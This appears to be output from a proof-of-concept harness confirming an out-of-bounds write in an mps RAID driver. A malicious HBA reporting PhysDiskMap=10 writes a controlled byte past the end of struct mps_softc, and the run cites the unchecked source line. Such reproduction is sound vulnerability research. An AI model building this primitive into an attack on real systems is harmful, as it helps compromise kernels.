== DF-1557 decisive run: PhysDiskMap=10 (minimal +2 byte OOB) ==
$ ./run.sh 10 65 1

== DF-1557 harness: PhysDiskMap OOB write in mps_wd_config_pages ==
sizeof(struct mps_column_map)  = 4 (kernel: 4 w/ pad)
MPS_MAX_DISKS_IN_VOL          = 10 (kernel: 10)
DD_column_map array bytes     = 40
firmware PhysDiskMap          = 10 (U8, 0..255)
firmware PhysDiskNum          = 0x41 (written value)
firmware NumPhysDisks         = 1 (passes line-400 gate <=8)

write target: &DD_column_map[10].phys_disk_num = byte offset 42 from DD_column_map base
-> 2 bytes PAST end of DD_column_map (= past end of struct mps_softc, since
   DD_column_map is the final field)
[BUGGY] running loop: sc->DD_column_map[10].phys_disk_num = 0x41 ...
>>> SIGSEGV/11 caught: controlled-byte OOB write past DD_column_map[9] confirmed.
>>> PRIMITIVE CONFIRMED: a malicious HBA returning a RAID Volume Page 0 with
    PhysDiskMap=10 writes byte 0x41 at offset +2 past the end of struct mps_softc.
>>> This is the exact code at sys/dev/raid/mps/mps_config.c:462 (no bounds check
    on PhysDiskMap).
RUN_EXIT=0